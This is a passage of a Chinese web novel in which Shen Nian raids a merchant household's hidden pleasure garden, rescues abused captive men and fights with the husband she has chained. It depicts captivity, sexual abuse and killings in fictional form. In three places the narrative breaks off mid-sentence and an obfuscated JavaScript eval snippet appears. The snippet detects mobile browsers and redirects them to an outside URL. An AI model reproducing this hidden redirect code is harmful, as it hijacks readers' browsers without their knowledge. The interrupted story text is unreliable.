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阿久在原地驻足,隔着窗盯着沈年坐在镜前挽发。阿久看她生涩的动作,帮不上什么忙。 他未曾学过这些服侍人的功夫。 平常都是林氏为她盘发髻的吗? 若成了婚,他不会做这些事,沈年会不会觉得他比不上林氏。 他将此事记在心里,琢磨着寻父亲去讨教讨教。 沈年胳膊都酸了总算梳妆妥当,出门唤阿久走。 阿久带着她走到一处书阁,“沈娘子上到二楼朝西南方向,便可看见那间小苑了,那里是二房专用来会客的地方,除了几个心腹,平日是谁都不让靠近的。” 沈年按阿久所说上去看,那间小苑果然与别的院子不同,没有一点人气。和哪处都不连通,单零在那里。 阿久在下面仰着面问她,“沈娘子可瞧见了吗?” 沈年从书阁出来点头,向阿久说了声谢谢。 阿久:“我也只是猜测而已,还不能确定。” 能被翠娘的弟弟称作鬼地方的,除了那怪异的小苑,也没有别的地方了。 “是虚是实,今晚我去探探便知。”沈年对阿久说。 11. 锁链 阿久忍不住道出心中的疑惑:“沈娘子昨日入宅后,二房那边院里守卫就更严密了。沈娘子能不能告诉我,你找的那个男子究竟是什么人?” 沈年没有再瞒他:“河道工程上有人贪腐,他手上也许有最重要的证据。” 阿久没有多大反应,在他看来这是女人们才会争论的朝堂政事,沈年愿意和他提这些,才是值得雀跃一番的。 沈年以为阿久至少要质问她几句,此刻反倒茫然,“这事或多或少会涉及刘宅,你……不在意吗?” “要有事也是二房的事,她们仗着铺子生意比大房好给母亲明里暗里不知添了多少堵,若出了事也是她们罪有应得。” 沈年将他送回去,出了刘宅去寻罗督丞商议。她与罗督丞走的近,对方对她有所察觉。 乘马车寻了个僻静处,二人在车厢内相谈。罗督丞在这些事上比沈年老道的多,凭着沈年画的一张刘宅地图,一炷香的工夫就规划好了如何排兵布阵策应她潜入那小苑。 罗督丞叮嘱她道:“刘宅护院个个剽悍,你的病还未愈又只是个文人不会工夫,定要小心行事。” 书中翠娘被灭口身中数刀血尽而亡,沈年走的是翠娘曾走过的路,她曾梦见过自己仰面倒地,被一刀毙命的血景。 但开弓没有回头箭,先前种种都是为了今晚。 “罗大人,你放心吧。” 沈年语气波澜不惊,但难逃罗督丞的眼,“害怕是人之常情,无需掩藏。不必慌,有我在一定可保你无虞。” 罗督丞坚实的语气让沈年彻底定下心。为免二房的人起疑心,沈年和罗督丞分别后又去了河道上当差。 直到罗督丞派人递消息来说一切已布置妥当。 沈年的马车从河道驶出的时候已经是暮色时分,街上还没点起灯。她靠在摇晃的马车里昏昏欲睡,听到小薇急促的吁了一声,马车猛地停下来。 沈年被颠的膝盖磕在了前面的木框上,疼的要死。 “谁家的男人,不要命了挡在路中间——” 小薇气急朝那人怒骂,看清人脸后止了声。 沈年不用猜都知道外面的人是谁,忍着疼掀开车帘一看,果不其然是那张脸。 林闻溪穿着一身的粗布麻衣,与他那张清贵的脸蛋格格不入,他神情晦暗,身形也不似往日那般挺拔,整个人都像是消瘦了些。 “你手段还真是不少,穿成这样又耍什么把戏。”沈年声气冷漠。 “三娘故意躲着我,我只能在这街上等你,不想被人认出来说三道四而已。” “你既知道我躲着,何必又来堵我的路。” “三娘要休了我?”林闻溪声音平静,却听的人心里发毛。 沈年不舍得多说一个字:“是和离。” 林闻溪的手紧紧的扒在车前的横木上,他眼下乌黑一片,几乎是喊出来的:“三娘是一早就这么想了吧,说要和我好好过日子......全都是骗我的是不是!” 沈年一点都不虚,“你不也一样,甚至我的风寒不也是拜你所赐,我骗你怎么了?” 他急切的解释:“是我误会……但我并没有想把三娘怎么样。” 沈年哼了一声,“不把我怎么样?我要是真信了你的鬼话,哪天就被你一碗汤就送走了也说不定。” “三娘与我一个屋檐下同食共寝不是一两日,若我真有心夺三娘性命,三娘怎还会好好的在这。” 二人的争辩引来过路人频频注目,沈年用帘子将自己的脸遮了大半,“别闹了行不行。” 林闻溪反倒哭起来了,“三娘不念一点情意,张口就要和离,一个弃夫会有什么下场三娘可知?” 沈年劝他不住,再没一丝怜悯。 “是你下药在先,被你说的是好像是我没心没肝了,再说了你可以回你们林家重新寻门亲事,还想赖上我不成。” 林闻溪手中忽然握起一根根尖利利的银簪,抵在自己脖子上,语气几近崩溃,“三娘这是要我去死。” 他的手掌上缠着的纱布被他的动作染红,沈年见林闻溪目光决绝,不像是在作戏。 “你先上车厢里来,有什么话好好说。” 这话让林闻溪像得了什么恩典一样扑过来不顾仪容的爬上去,攥着她的手,“我就知道三娘不会如此绝情。” “好了,好了。” 沈年将他手中的银簪眼疾手快的拿过,叮当一声扔到外面,揽着他的后背轻拍,林闻溪没有防备与她相拥哭诉。 沈年却突然使力将他的手腕扣住动弹不得,不知道从那里取出一捆麻绳绕在他身上要将他绑起来。 林闻溪惊叫了一声,奋力挣扎但根本是无济于事。 “三娘要做什么!” 沈年不回答他的话,向外面的小薇吩咐,“拐去东街,买条粗点的铁链来。” 林闻溪惊恐,剧烈的喘着粗气,挣扎的更拼命了,“你……你究竟想做什么!救命——” 沈年钳着他乱动的腿,一手捂着他的嘴,“别乱叫。” 林闻溪探出舌尖舔了下沈年的手心,沈年松了力道被他趁机狠狠咬了一口。 他威胁道:“你以为我不知道,你根本就不是沈年对不对!我把这事说出去,你就死定了,放开我!” 沈年嘶声,听到林闻溪的话不由抬眼一怔,而后笑的轻松:“我不拦着你,你去说看看有谁会相信,到时候别人把你当成疯子,好让我关你一辈子。” 林闻溪眼神几近绝望,见硬的不管用又说软话,毫无尊严的哀求她:“你顶了我妻主的位,趁我不知要了我,好歹也算是夫妻一场,你怎可如此对我。” 沈年气笑,“明明是你趁人之危主动献身,一晚上不都是你主动的,把我嘴都咬破了,现在还倒打一耙。” “我说的是第一次,喝醉酒那一次。” 沈年满头问号,“别乱说,我可没碰你一根手指头。” “我明明寸缕不着躺在你身旁,怎么可能没有……” 沈年:“你在那柴堆里蹭的一身泥,我让你换身衣裳,是你自己脱光坐在那唤我,我都吓一跳好心给你裹好被,谁知道你自己又半夜钻到我被子里来。” “你说的......是真的?” 沈年:“有没有睡过,你自己的身体没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林闻溪背过身去,将脑袋埋进枕头里呜咽。漫长的熬过了这一步,上药的时候更是锥心的痛,他捂着嘴狼狈的哭喊声还是控制不住从喉咙里挤出来。 沈年终于松开了他的手,从他身旁走开。他盯着那盏油灯一阵耳鸣,动弹一下的力气都没有了。 屋里剩他一个人,寂静的让他害怕。他坐起来,链子拖动在地上发出冰冷的声响,他捂着耳朵发抖。 看到沈年回来他才好一点,林闻溪向她探出手,他渴望沈年能来抱一抱他。 沈年看见了却站着没有动。 “一会不疼了,就自己过来吃。” 林闻溪瞧见沈年端了一碗东西到桌案上。碗上飘着暖呼呼的热气,闻味道像是碗馄饨汤。 明明要丢了他,却还要做这些事情让他恨不起来,是故意在耍他吗? 留下这碗汤,沈年背身合上门走了,把他锁在这里一个人走了。 他像极了一条弃犬。 12. 第 12 章 积云将月亮遮的完全,一点亮都不见。刘宅与她们院子只隔条街,沈年提着灯笼快步往宅中赶。 沈年叩响西侧小门,来迎她的是阿久身边的小侍从。 “沈娘子可算回来了。”小侍从弓着腰引她往里走。 穿过长廊,阿久的屋门开着,他倚在矮塌上,身旁一左一右立着两个侍从,像幅古画一般,捧着张纸按在胸前,半忧半喜。 听到脚步声,阿久抬起头来。 “沈娘子留步。”他唤了一声,转头向身后的侍从示意将二人屏退。 “今夜若能寻到人,沈娘子答应我的事几时能应验。” 夜风敲着阿久的门窗,发出一声声响,沈年站在他门前,手中的灯笼被钻进来的风呼的一下扑灭。 这风来的及时,将沈年的脸上的情绪隐在暗处,她没必要继续骗下去了。 “阿久,那话是我唬你的。” 阿久僵直着上身未动,嘴角抽动声线沉下来:“沈娘子莫不是在开玩笑。” “抱歉。” 沈年不痛不痒的两个字,让阿久从头凉到了脚,一瞬间坠入了冰窟。 “可是林氏他......向沈娘子说了什么?” “你是不是还派人跟踪我?” 阿久有种被戳破的尴尬,缓缓坐起来说:“那又怎样,我的人又不碍沈娘子的事。” 沈年回呛他:“不碍事?那若我日日跟着你,盯着你的一举一动你也觉得无妨?” “沈娘子的眼睛好看的很,成日在你眼里呆着有何不好。” 阿久转动着眼珠,他想象其中一副陶醉的模样。 “你该寻个大夫瞧瞧,我就先不奉陪了。” 沈年转身要走,阿久生来头一次受这样的戏弄,他抓起手边的茶碗怒不可遏砸向沈年脚边。 沈年瞥了他一眼,他将那张纸翻过来朝向沈年,上面的字迹是她曾写给阿久的婚书,不过下面赫然多了两个红指印。 沈年蹙起眉头,“你真是病的不清,伪造了指印,也做不得数。” “这可确确实实是用沈娘子的手指按下的。” “我睡下的时候你偷潜入我屋内去了?” 阿久一副理应如此的语气:“这里是刘宅,院子也是母亲许给我住的院子,我想去哪就去哪,何来偷潜一说,我不过是太过思念你而已。” “你就捧着那张破纸一辈子想去好了。” 沈年算着时辰,无心在与他纠缠。 “你站住!” 阿久在身后厉声唤她,身后的两个侍从钻出来,扶着他站起来,他心急如焚甩开两人手,一只脚向外跳被绊在门槛上,伏倒在地。 沈年早已不见了人影。 沈年爬上了今晨来过的书阁推开窗户,对准二房院中离她最近的那颗大柳树,将飞索发了出去。 这边通往二房院的门都挂着锁,还有四五个人持刀把守。院墙顶上更是从最初盖院子的时候就埋上了根根尖刺,说是为了防贼盗。 沈年一整下午都空间中赶制钢索和滑轮。她探出手用力扯了扯,确认钢爪锁紧后,爬上窗户一跃向那院荡了过去。 附近是间间并排的小屋,这里是宅中仆从们歇息的地方,所以几乎没有什么守卫。她趴在树干上眯眼仔细观察,确定四下无人后抓着绳子跳到地上。 她屏气拍着自己的胸口平稳心跳,然后她一路朝着外院的小门摸过去。 天太黑又不熟悉院门,行了一路撞了几回头。到了近前隐约听见两个守门的在交谈,沈年大气不敢出。 她猫在墙角,将提前准备好的发条老鼠拿出来,拧了两圈放跑出去,等待动静。 发条转动的滋滋声在这死寂的夜里分外炸耳。 “这什么怪声?” 沈年听到其中一个人说道。 另一人声音发颤:“我也没听过……该不会是闹鬼了吧。” “别瞎说。” “你没听说吗?昨儿又死了一个,我感觉这院里怨气重的很。” “你一身的武艺胆子怎么这么小,我倒要去看看有什么名堂。” “你别留我一个人在这……我跟你一起去。” 听到两人走动的声音,沈年撞着胆子探出头,快速跑向了小门拿出钳子将门锁剪开。 把门推开,沈年按照约定敲了三声墙,罗督丞安排的两队人手就从暗处冒了出来,火速钻进院中埋伏好。 那两守卫回来便被捂嘴打晕在地。 沈年捂着脑门蹲在地上长长呼了一口气。 “三娘子,你无事吧。” 有一只手覆在她背上,沈年听出是小薇的声音,她不知为何眼角涌出泪花,拥住小薇抱了抱。 “你怎么也来了。” “这么危险的事我当然不能让三娘子一个人,对了,少君那边已经安排妥了。” 沈年点头,她刚刚一个人其实害怕的很,后颈现在都是渗着一层冷汗,现在有小薇在她悬着的心落了回去。 “我们走吧。” 沈年低声向众人说着,两队一前一后出发。罗督丞安排的人手段利落,下手重一路上悄无声息放倒了不少人。 怪的是,那小苑门口并无人把守,门上也没有落锁。 沈年从石阶上到正堂门前,侧身试着轻轻一推,才发现原来是从里头上锁的,她在窗纸上戳了个小洞,侧身上前去看。 里面空荡荡的幽深一片,堂中连一张几案桌凳都没有摆,沈年呼吸声飘进去依稀能够听的见回声。 “三娘子,这里不像有人住过,我们是不是找错地方了。” 沈年摇头:“屋里没有人,如何在里面反锁的,定是有什么机关密室。” 她砸开木窗一角,扔了颗珠子进去在地上滚。果然有只冷箭咻的一声从屋顶上射出来。 按照套路,里面一定会有什么可以转动的佛像或是突起的墙块之类开关。 沈年探头进去看但里面太黑,根本看不清楚。 小薇灵机一动道:“三娘子不是有那个飞索在,我顺着爬过去找找。” 这倒是个办法,也不会踩到地触发机关。沈年在她身上挂好灯,将窗上的豁口砸的更大了些,小薇跳上窗抓紧钢绳一步一停按沈年说的仔细寻。 灯越往深处去,沈年只能看的见光,看不清人了,沈年心里着急。 “三娘子这里有块墙像是你说的。” “你准备好再按,这可是真刀真箭不长眼要人命的,小心点。” 一声响后,一扇小门徐徐打开。沈年和几个身手上层的先进去探路,走进去经过一条不长不短的暗道,尽头是像是个井口。 然而沈年一探头出来,脖子上就抵上了一把长刀,四周围着一圈覆面重甲的侍卫,如同修罗。 一人拨开侍卫走到沈年面前,她身形长瘦,小巧的脸上画着艳丽的妆容,看起来极不相宜。 看样子就是二房的主家刘知夷没错了。 她居高临下,脖颈修长睥睨着沈年的脸,“沈运儒养的女儿本事不小,能溜进这来。” 沈年微微向下低头要说什么,那女人甩袖坐下,漫不经心道:“别叫她们往回跑,或许还能留个全尸。” “你敢杀人,不怕官差来寻吗?” “沈娘子是在大房院里丢的,有何理由找到我们这院里来,就算是找沈娘子恐早已化作一堆泥肉不知飘在哪条江,哪条河里,从何找起?” “还有别人知道。” “那姓罗的?呵,碾死她和碾死只蚂蚁没什么不同,放心,等你死了她们一家人都会下去陪你。” 沈年闻言怔怔,罗督丞是朝廷命官,刘家即便是腰缠万贯也只是一介商贾而已,何来如此大的口气。 而且看这些侍卫的装束是皇亲贵胄才可用的规制,沈年想到书最后结局留下的一段悬念,女主罗从宛揪出真正的幕后黑手婧王妘筝,查出她为了日后起兵篡位多年来疯狂敛财,升为首辅后女主与霁王继续在朝堂相抗。 但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334042|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本书其实是虐恋感情流,大篇幅写的是男女主的感情纠缠,女主的事业线大都是一概而过,至于刘宅根本未着笔墨,沈年现在只能凭这些只言片语知道刘知夷是在为霁王做事。 沈年在这种时候脑子总是格外灵光,她不惧反而笃定的说道:“你刚才不直接一刀抹了我的脖子,是还不想我死吧。” 刘知夷呵呵一笑:“沈娘子明珠蒙尘从京中流落到这里,我惜才一时还没想到如何让沈娘子听命于我,忠心诚意的为我所用。” 毕竟脖子上还架着一把刀,沈年假意逢迎:“我查这一切所求不过功名利禄,光耀门楣,你可能许我。” “好说,好说。”刘知夷抬了抬手指示意侍卫把沈年从井口架出来,“不过口说无凭,沈娘子得纳个投名状。” 侍卫扔在地上一把锃亮的刀,压着沈年身后的小薇等人跪在地上。 “沈娘子动手了结了她们,我就信你的话。” 沈年踢开那刀,扬着脸变脸道,“还轮不到你们向我提条件。” 刘知夷目光一沉,侍卫一脚踢到沈年的膝盖,按着她跪地,然后捡起刀冷血挥向沈年的同伴。 “不要!”沈年大叫一声,扑过去下一秒持刀那人突然抽搐倒地。 刘知夷大惊失色,余下的众多侍卫纷纷抽刀护着她向后连退了几步。 虽然那人是罪有应得,但沈年也免不了惊惧,她额头冒汗大口喘息着爬到同伴面前绞开绑在她们手脚上的绳子。 一个大活人只是被沈年摸了一下就断了命,很难不以为沈年会什么妖术,不敢再靠近。 两方僵持不下时,沈年注意到对面的一名甲卫盯着她做了个极不起眼但奇怪的动作,她摸了摸自己胸前的铭牌。 沈年皱眉疑惑,她又重复一遍。 她低头下去看,翠娘交给她的木牌在随着她的动作在空中摆动。 甲卫见她反应过来,转动黑漆漆的眼珠示意她到右侧的那间厢房去。 沈年带着众人一步步退到屋内,里面摆着一张张木塌,角落里缩着五六个男人,见到她们进来抱成一团,哭着喊叫。 几人面容清瘦,衣衫轻薄堪堪能遮住身形,她们的眼都不知道该往哪里落合适。 “别哭了,我们只是在这里暂避,不会把你们怎么样。” 一人闻言把头微微抬起,只露出一双眼睛,看到沈年胸前的木牌,他大喜过望,忘了起身跪地朝沈年脚边爬。 “你是来救我的吗?”他身上连里裤都没有,爬动的时候大腿明晃晃的露在外面。 沈年脱下自己的外衫蹲下披在他身上,他像见到了救世主一样,握着沈年胸前的木牌贴在额头上失声痛哭。 “阿姐……阿姐,你终于来救我了。” 沈年:“你阿姐可是叫翠娘?” 他听到翠娘两字,哭的更伤心了,说话时口齿不清:“是……是。” “我就是来找你的。” 他名唤清茸,据他所说这园子是刘知夷修来专供那些人取乐放纵的,许多男人或被骗,或被卖,进来一般活不过三个月。 他经历什么折磨,从他露出的那一截手臂就能窥见一二,除了烫伤鞭痕,还有几个深深的牙印,沈年难以想象咬的多狠才能留下这样的印记。 沈年没让继续说下去,问清茸那名甲卫的事。她们原以为人在刘宅,一切人手都是围着刘宅布置的。现在困在这里,要想出去有内应帮忙是再好不过的了。 谁知清茸冷笑一声,“是她帮你们的?” 沈年点头,“她也认得这木牌,是什么人?” “她能是什么人,和那些人一样呗。”清茸干呕了一声。 “你没事吧。”沈年不自觉看了一眼他的小腹。 “放心吧,我的身子早就坏了。”清茸满目都是恨意,“大概是她玩上瘾了,居然说喜欢我,我只是想到她的话觉得太恶心了而已。” “那女人又蠢又坏是个好利用的,既然她愿意出力沈娘子就用吧。” 13. 两个男人一台戏 甲卫黑压压的将房间围成铁桶一般,但没有要攻进来的意思。刘知夷随后回了厢房中,不久空中飞出一只信鸽。 从那信鸽的脚环,沈年知道她是在向霁王传信。 书中霁王藏的很深,所有事都是假手于人,从不亲自露面。沈年想不通刘知夷怎会如此得她的信任。 清茸跟在沈年身边寸步不离,他瞥见刘知夷一眼就抱着胳膊发抖,他生的娟秀,看起来弱不经风的样子。 “别怕。” 但清茸是久而久之形成的生理反应,他靠在沈年背上想汲取一点暖意。 “别嫌我脏,我只是……太难受了。” “没事。” 沈年说了声,抬头从掀开的窗缝里又看见那双黑瞳,她上身微晃死盯着两人,眼底尽是醋意,抬起刀柄将窗子闭上。 “她……好像生气了。”沈年说。 清茸白了一眼,“也不知道在装什么,她见我跟别人多的数不过来了吧。” “是她帮你传信给翠娘的吗?” “是她色心发作强迫我跟她一晚,我说了帮我传信就答应她,她蠢的很真帮我去做了。” “她或许对你真有感情吧。” “感情?我刚被关到这里,求了她多少次,受了她多少折磨,她可怜过我吗?我恨不得她下地狱,千刀万剐才好。” 清茸眼中的恨意汹涌。 沈年不想再说错话揭他的伤疤,让他去小憩一下。 清茸摇头道歉,“我是不是吓到沈娘子了。” 沈年:“我要去跟她们商量如何带你们出去。” “好,好吧。”清茸说着又回去和男人们挤在一起。 这些甲卫助纣为虐,满手罪孽,也是死有余辜。 屋外穿来几声闷闷的雷声,外面那些人穿的都是铁甲,引一点电便会全数毙命,她刚刚用的就是此法。 沈年在纸上画好路线给众人传阅。 “呆会将他们背上走,按路线万不可走错。” 见识过先前那名甲卫的下场,沈年计划无人异议。 沈年开窗又与那双眼晴对上,她反应很快凑上来佯装怒骂:“瞧什么瞧,等人来了,一把火把你全都烧成灰。” 她的身子挡住周围人的视线,沈年举起手中的纸给她看。 看到纸上内容,她毫不犹豫点了下头,然后眼神探到里面瞥了清茸一眼。 布好线,沈年静待天上的动静。一声闷雷响过后,屋内里被闪电照的一亮,然后是一声声尖利的哀嚎声。 “快跟我走。” 那甲卫推门直冲着清茸过来,清茸来不及反应就被她扛起来。 一地伏尸,那几个男人来不及惊叫一声就被背着狂奔。 那甲卫在前面引路,脚步飞快,清茸搭在她肩上被颠的昏头。 倒是沈年落在后头,跟不住众人的脚步,小薇拽着她的衣袖几乎是拖着她逃命。 从园子的大红门里逃出来时,沈年累的仰躺在地上大口喘息。 清茸从甲卫身上挣扎着跳下来,甲卫抓着他的胳膊不放,清茸隔着铁面扇了她一掌。 他根本没什么力道,被甲卫箍在身边。 “阿茸——” 沈年听见那甲卫唤他。 清茸向沈年乞求道:“沈娘子,救救我,带我去找我阿姐好不好。” 沈年爬起来走向两人,低头向那甲卫劝告:“他不喜欢,别逼着他做什么了。” 甲卫无力垂下手,清茸爬起来钻到沈年的背后。 余下的几个男人都精神恍惚,暂且问不出什么话来,沈年只好先叫将人一起带回去向罗督丞复命。 带着清茸去寻翠娘,那甲卫跟着同去,半路卸下铁甲看见是个年轻的女子,利落的束着发,脸生的冷硬。 清茸一路都在咒骂她该死,她只是沉默听着什么表情都没有。 沈年叩响了门,翠娘看见清茸的时候,眼眶里瞬间涌出泪来。 清茸钻进阿姐的怀里,哭的撕心裂肺。相依为命长大的两人,分别多年后寻回了彼此。 翠娘将沈年迎进了屋,屋内翠娘的男人拍着幼子的背哄睡,脸色并不算好。 清茸怯怯唤了声姐夫,对方连头都没点一下。 翠娘瞪了他一眼,他自顾自坐下依然无话。 “见笑了。”翠娘向沈年尴尬笑笑。 然后转身从一个墙缝中抠出一张叠的小小的纸来。 “沈娘子要的是这个名单吧,当初是清茸给我的。” 沈年接过,“正是。” 清茸小声说:“这些都是去过那间园子里的人,有些名字或许会有些出入,沈娘子可再细察核对一下。” “我知道了,时间紧迫我先去办事,就不打扰你们一家人叙旧了。” 翠娘和清茸将她送到巷口。 沈年出来的时候看见,那名甲卫在屋顶上蹲着,虽不了解二人之间的纠葛,有她在自会护着清茸和翠娘一家。 她也能放心一点。 沈年带着名单又去罗督丞府上,人证物证俱在,此案坐实。接下来就是在刘知夷缓过气来前,将名单上的人抓获。 沈年连着两日都在四处捕人入狱,刘知夷那边也迅速恢复了元气,夜里派人去刺杀清茸,幸有那甲卫拼死相护,才有惊无险。 沈年想到自家院里还锁着一人,脱身往回赶。 宅中。 那夜林闻溪猛的惊醒起来,眼前是陌生的脸。 “少君莫怕,是沈娘子安排我来照看你的。” 林闻溪防备的向后躲了躲,“她哪还愿意管我的死活。” 男子将袖中的玉镯取出来给林闻溪过眼,“这是沈娘子赏我的,少君可认得。” 林闻溪识人眼力很准,对方眼神清澈朴实的很,他默默点了点头。 “少君唤我白石就好。” “哦——” 林闻溪心悸难安,问他知不知道沈年去哪里。 “听说好像有要事要办,余下的我也不清楚。” 林闻溪坐着打颤,白石给他披了件外衫,奉上一盏热茶暖身。 一连两日都没有沈年的音讯,林闻溪夜里一闭眼上就做噩梦。 熬到今晨天亮,他再也坐不住,举着块石头砰砰地砸向脚腕上的镣铐,心慌如麻连同手也抓不稳几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334043|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次砸到脚背上,忙活一个时辰出了一额头汗,愣是一个裂口也没见有。 他托了白石去罗家打探消息,听到院门响动以为是他回来了。 他紧张的咽了下喉咙,害怕听到什么不好的消息,拖着链条向屋门走。 一脚迈进来却是只镶着青玉的玄色长靴,林闻溪视线上移,是那张让厌极了的脸。 林闻溪本就心中阴郁见了阿久浑身炸毛,端起手边的茶水就一股脑泼到他身上。 阿久反应快抬起胳膊抵挡,还是被溅了一身茶渍。他一脸鄙夷地抖了抖衣裳,气急败坏想上前揪住林闻溪的衣领挥一拳,但定眼一看他脚腕上套着脚镣,捧腹笑起来。 “真够惨的。” 林闻溪扯着嘴角一笑,他好歹是正房原配,还轮不到一个没名没分的野男人上门来看他笑话。 他把身子站的笔直,嘴里的话字字讥讽:“比起来还是你这种觊觎有妇之夫,削尖了脑袋想伏低做小的浪荡子更不堪吧。” 阿久气的脸红,却也只敢捶两下桌面,到底林闻溪才是正君,若日后能进门自己免不了要在他手下过活,闹得太难看,对他没什么好处。 “你把三娘弄哪去了?” 林闻溪发起火来脸色骇人。 阿久被他镇住了,气势败下来,“她说查什么案子,那晚之后就没再见到了,我还想问你呢,她没回来过吗?” 林闻溪用手指叩着桌面不语,气氛忽然冷下来,阿久扶着桌角沉重的坐到另一侧。 阿久沉不住气,“她该不会出什么事吧。” “不会的……她能来这里老天爷一定会庇佑她的……”林闻溪语焉不详的说道,不像是说给阿久听,而是宽慰自个的自言自语。 忽听见门外白石的报喜声,“回来了,三娘子回来了。” 林闻溪脸上冰消雪化,他急奔着向屋门口去看,一头撞在沈年肩上。 沈年扶了他一下,林闻溪一反常态热情勾上她脖子,在她脸上结结实实亲了一下。 他夹着嗓子声音腻的人浑身起鸡皮疙瘩,“三娘去哪了,你可让我担心死了。” 沈年摸着脸愕然,看见阿久居然也在。没等她开口说什么,阿久就抢先张嘴。 “青天白日就当着别人的面投怀送抱,当真是不知羞。” 林闻溪搂着沈年的手圈的愈发紧了,故意贴在她肩上和阿久说话:“这是我与三娘的卧房,是公子的脚站错了地方。再说了三娘是我的妻主,我们几日未见情难自抑,亲热一下有何不可?” “她明明都把你锁在这了,正君何必自欺欺人呢。” 林闻溪:“三娘只是不放心我,还特意寻了人来照顾我,怎么是我自欺欺人。” 阿久气鼓了脸还要争辩。 “你们吵够了没有。” 沈年冷脸喊一声。 “你回你宅里呆着别出门乱窜。”她看向阿久说罢,然后又低头向林闻溪出声:“还有你……从我身上起来。” “凭什么只叫我走,沈娘子我们可是有婚书为凭的,你休想就这么抵赖。” 林闻溪怔怔从沈年身上起来,瞠目看着沈年:“婚书?” 14. 第 14 章 “可不是,是沈娘子亲口答应,亲笔当着我的面写的呢。” 阿久看着林闻溪灰白的表情,得意的从襟袖中掏出团手帕,里面裹着那张纸,他小心的展开给他看。 林闻溪看着上面的刺目的红指印破防失态,“三娘写这种东西给他也不知会我一声吗?逼着与我和离是想和他双宿双飞对吗!” 阿久听到了不得了的消息。 “沈娘子你要和他和离?” “我是要和他和离,同样也不会和你成婚。”沈年疲倦不堪,毫不掩饰的向两人摊牌。 两人一齐像霜打了的茄子,刚才的争风吃醋,激烈的反唇相讥全数像一场尴尬的笑话。 林闻溪还贴上去亲了她,他此刻知觉的脸被沈年冷冰冰的语气给扇肿了,他沉默下来想办法。 阿久恼羞成怒出声质问:“沈娘子出尔反尔,真当我是好耍的吗?我自降身价求的不过是个侧室之位,说起来你不过也就是个声名狼藉的纨绔,怎就不知好歹,若逼急我与你对簿公堂,你别再想好过!” “你当真是有多喜欢我吗?还是我刚好能满足你的窥私欲,你问过你自己没有你究竟喜欢我什么,真就非我不可吗?” 沈年一步步走到阿久面前,语气笃定。 她从不是会沉湎在情爱中的人,甚至有些淡漠,总觉得好便好,散就散。执着、痴迷这些是她从未有过的情绪,或者说她打心眼里就是不相信的。 每每这种时候她不像平日相处时的温和,总显得冷酷又不近人情。 “你大可去拿着那张纸去官府告我,用这么拙劣的手段就想逼我就范,太可笑了点。” 阿久的脸扭曲起来:“你……是我看错你了,你果真是个薄情寡性之人。” 他带着愤恨夺门而出,只剩了夫妻二人。 “坐下,我们谈谈。” 沈年回头看向林闻溪。 林闻溪杵着不动,他现在能赌的只有他这一条命了,“我是不会同意和离的,三娘若执意要离,大可一纸休了我,我拿着休书到了地府也算清白。” “你非要这样要死要活吗?” “我何尝不想生,是三娘要逼我死。” “我何时说过要你死了?离开我,离开沈府,对你来说或许会更好也说不定。” 沈年想着翠娘和清茸的结局可以改变,林闻溪或许也可以。 “对男人来说,被弃就只有死路一条,哪来的什么更好。” 林闻溪如同具行尸走肉,拖着沉重的铁链,在地上划出声声刺耳的声响,似乎将他的精气神一下下抽的干净。 他坐下,脸色灰暗将纸笔推到沈年手边。 “三娘写吧,等会将这链子给我解开,我怕疼……”他想了想,“投河怎么样,随着江水飘走,还不用三娘替我操办后事。” “我现在和你说不通,人命金贵着呢,我才不要你的。”沈年到林闻溪面前蹲下给他解开镣子,“这事我慢慢和你说,这不安全先去收拾你的东西,跟我走。” 林闻溪问:“去哪?” “先去罗大人府上挤挤吧,那里有护卫。” “哦。” 林闻溪去翻他的衣裳细软,像是先前那段对话不存在一样,自然和沈年唠家常。 “三娘这两日去哪了,查案子没遇到什么危险吧。” 沈年觉得他翻脸比翻书还快,含糊应他:“没什么大事。” 之后不知不觉被林闻溪引着闲叙了不少家常。 将人安顿到罗府,沈年仍旧让白石看着林闻溪,那脚镣把他的脚踝磨掉了一圈皮,沈年看见不忍心再锁他。 之后林闻溪也少能见到沈年的面,他不知沈年在忙些什么,夜里她也不回来,次次跟小薇挤在一屋。 沈年这两日倒是有些明白了林闻溪所说的,自己要他死是什么意思了。 那十多个被关进狱中的总管,知道自己犯的是杀头大罪,而且还念着刘知夷会来解救她们,一个个嘴巴紧的很什么都不肯交代。 唯一还清醒能开口的证人就是清茸了。 清茸还没说什么,翠娘的男人就闹着不许清茸上堂作证。 他当着沈年一个外人的面就向清茸发难。 “出了那种事你还要去当着众人的面讲,你不怕唾沫星子淹死,我还要一张脸皮过日子呢。你若敢去,就先和你阿姐断亲,日后与我们别再有什么瓜葛。” 清茸连坐的地方都没有,埋头听着男人的埋怨。 “既然已许了人家,就去找妻家给你做主,还回来寻你姐姐做什么,难不成要我们白养着你不成。” 清茸瑟缩的回道:“不是的,姐夫,我可以帮家里的忙。” “你这一身的伤病,能帮什么忙,只能给我们添累赘!” 